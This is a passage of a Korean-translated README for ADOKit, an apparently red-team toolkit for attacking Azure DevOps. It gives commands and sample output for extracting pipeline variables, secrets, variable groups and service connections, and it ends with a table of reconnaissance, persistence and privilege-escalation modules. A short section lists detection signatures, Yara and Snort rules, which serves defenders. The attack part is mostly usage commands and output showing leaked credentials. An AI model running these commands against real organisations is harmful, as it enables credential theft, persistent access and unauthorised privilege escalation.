특정 프로젝트에서 사용 중인 모든 파이프라인 변수를 추출하려면 `getpipelinevars` 모듈과 함께 `/project:`를 제공하세요. 모든 프로젝트에서 파이프라인 변수를 추출하려면 `/project:` 인수에 `all`을 지정하세요.
`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinevars /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 예제 출력```
C:\>ADOKit.exe getpipelinevars /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinevars
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/6/2023 12:08:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Pipeline Var Name | Pipeline Var Value
-----------------------------------------------------------------------------------
credential | P@ssw0rd123!
url | http://blah/
4/6/23 16:08:36 Finished execution of getpipelinevars
```
### 파이프라인 비밀 가져오기
#### 사용 사례
> *프로젝트에서 사용 중인 파이프라인 비밀의 이름을 추출합니다. 이는 운영자가 비밀 추출을 시도할 위치를 파악하는 데 도움을 줍니다.*
#### 구문
`getpipelinesecrets` 모듈을 `/project:`와 함께 제공하여 특정 프로젝트에서 사용 중인 모든 파이프라인 비밀의 이름을 추출합니다. 모든 프로젝트에서 파이프라인 비밀의 이름을 추출하려면 `/project:` 인수에 `all`을 지정하십시오.
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getpipelinesecrets /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 예제 출력```
C:\>ADOKit.exe getpipelinesecrets /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpipelinesecrets
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/10/2023 10:28:37 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build Secret Name | Build Secret Value
-----------------------------------------------------
anotherSecretPass | [HIDDEN]
secretpass | [HIDDEN]
4/10/23 14:28:38 Finished execution of getpipelinesecrets
```
### 변수 그룹 가져오기
#### 사용 사례
> *프로젝트에서 사용되는 모든 변수 그룹 및 해당 변수를 추출합니다. 이 변수는 자격 증명이나 기타 유용한 정보를 포함할 수 있습니다.*
#### 구문
지정된 프로젝트에 대해 `/project:`와 함께 `getvariablegroups` 모듈을 제공하여 사용 중인 모든 변수 그룹을 추출합니다. 모든 프로젝트에서 변수 그룹을 추출하려면 `/project:` 인수에 `all`을 지정하세요.
`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getvariablegroups /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getvariablegroups /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 출력 예시```
C:\>ADOKit.exe getvariablegroups /credential:"ABC123" /url:https://dev.azure.com/YourOrganization /project:"ADOKit"
==================================================
Module: getvariablegroups
Auth Type: Cookie
Project: ADOKit
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 16/05/2024 16:53:31
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Variable Group Name | Variable Name | Variable Value
--------------------------------------------------------------------------------------------------------------------
real-test-variables | test_password | BurpIsNotBeef
real-test-variables | test_user | nicolas
fake-prod-variables | SUPERSECRET | [HIDDEN]
fake-prod-variables | SUPERNOTSECRET | ThisShouldBeSecured :/
```
### 서비스 연결 가져오기
#### 사용 사례
> *프로젝트에서 사용 중인 모든 서비스 연결을 나열합니다. 이를 통해 운영자는 사용 중인 서비스 연결에 대한 자격 증명 추출을 시도할 위치를 파악할 수 있습니다.*
#### 구문
특정 프로젝트에 대해 `getserviceconnections` 모듈을 `/project:`와 함께 제공하면 사용 중인 모든 서비스 연결을 나열합니다. 모든 프로젝트에서 사용 중인 서비스 연결을 나열하려면 `/project:` 인수에 `all`을 지정하십시오.
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe getserviceconnections /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all"`
#### 예시 출력```
C:\>ADOKit.exe getserviceconnections /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getserviceconnections
Auth Type: Cookie
Project: maraudersmap
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/11/2023 8:34:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Connection Name | Connection Type | ID
--------------------------------------------------------------------------------------------------------------------------------------------------
Test Connection Name | generic | 195d960c-742b-4a22-a1f2-abd2c8c9b228
Not Real Connection | generic | cd74557e-2797-498f-9a13-6df692c22cac
Azure subscription 1(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | 5665ed5f-3575-4703-a94d-00681fdffb04
Azure subscription 1(1)(47c5aaab-dbda-44ca-802e-00801de4db23) | azurerm | df8c023b-b5ad-4925-a53d-bb29f032c382
4/11/23 12:34:16 Finished execution of getserviceconnections
```
## Detection
다음은 이 도구가 기본 상태에서 사용될 때의 정적 시그니처입니다:
* 프로젝트 GUID - `{60BC266D-1ED5-4AB5-B0DD-E1001C3B1498}`
* 이 저장소의 [ADOKit Yara 규칙](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.yar)을 참조하세요.
* 사용자 에이전트 문자열 - `ADOKit-21e233d4334f9703d1a3a42b6e2efd38`
* 이 저장소의 [ADOKit Snort 규칙](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/ADOKit.rules)을 참조하세요.
* [Microsoft Sentinel 규칙](https://github.com/h4wkst3r/adokit/blob/HEAD/Detections/Sentinel-Rules)
* `ADOKitUsage.json` - ADOKit 사용을 감지하며, 감사 가능한 이벤트(예: 그룹에 사용자 추가)와 함께 작동합니다.
* `PersistenceTechniqueWithADOKit.json` - ADOKit을 사용한 PAT 또는 SSH 키 생성을 감지합니다.
도구에서 사용되는 기술의 탐지 지침은 X-Force Red [백서](https://www.ibm.com/downloads/cas/5JKAPVYD)를 참조하세요.
## 로드맵
* Azure DevOps Server 지원
## 참고 자료
* `https://learn.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-7.1`
* `https://learn.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops`
| 공격 시나리오 | 모듈 | 특별 권한 필요? | 참고 |
|---|
| 정찰 | check | 아니요 | |
| 정찰 | whoami | 아니요 | |
| 정찰 | listorgs | 아니요 | |
| 정찰 | listrepo | 아니요 | |
| 정찰 | searchrepo | 아니요 | |
| 정찰 | listproject | 아니요 | |
| 정찰 | searchproject | 아니요 | |
| 정찰 | searchcode | 아니요 | |
| 정찰 | searchfile | 아니요 | |
| 정찰 | listuser | 아니요 | |
| 정찰 | searchuser | 아니요 | |
| 정찰 | listteam | 아니요 | |
| 정찰 | searchteam | 아니요 | |
| 정찰 | getteammembers | 아니요 | |
| 정찰 | listgroup | 아니요 | |
| 정찰 | searchgroup | 아니요 | |
| 정찰 | getgroupmembers | 아니요 | |
| 정찰 | getpermissions | 아니요 | |
| 정찰 | creds | 아니요 | |
| 정찰 | getbuildlogs | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 정찰 | listbuildlogs | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 정찰 | searchbuildlogs | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 지속성 | createpat | 아니요 | |
| 지속성 | listpat | 아니요 | |
| 지속성 | removepat | 아니요 | |
| 지속성 | createsshkey | 아니요 | |
| 지속성 | listsshkey | 아니요 | |
| 지속성 | removesshkey | 아니요 | |
| 권한 상승 | addprojectadmin | 예 - Project Administrator, Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | removeprojectadmin | 예 - Project Administrator, Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | addbuildadmin | 예 - Project Administrator, Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | removebuildadmin | 예 - Project Administrator, Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | addcollectionadmin | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | removecollectionadmin | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | addcollectionbuildadmin | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | removecollectionbuildadmin | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | addcollectionbuildsvc | 예 - Project Collection Administrator, Project Colection Build Administrators 또는 Project Collection Service Accounts | |
| 권한 상승 | removecollectionbuildsvc | 예 - Project Collection Administrator, Project Colection Build Administrators 또는 Project Collection Service Accounts | |
| 권한 상승 | addcollectionsvc | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | removecollectionsvc | 예 - Project Collection Administrator 또는 Project Collection Service Accounts | |
| 권한 상승 | getpipelinevars | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 권한 상승 | getpipelinesecrets | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 권한 상승 | getvariablegroups | 예 - Contributors 또는 Readers 또는 Build Administrators 또는 Project Administrators 또는 Project Team Member 또는 Project Collection Test Service Accounts 또는 Project Collection Build Service Accounts 또는 Project Collection Build Administrators 또는 Project Collection Service Accounts 또는 Project Collection Administrators | |
| 권한 상승 | getserviceconnections | 예 - Project Administrator, Project Collection Administrator 또는 Project Collection Service Accounts |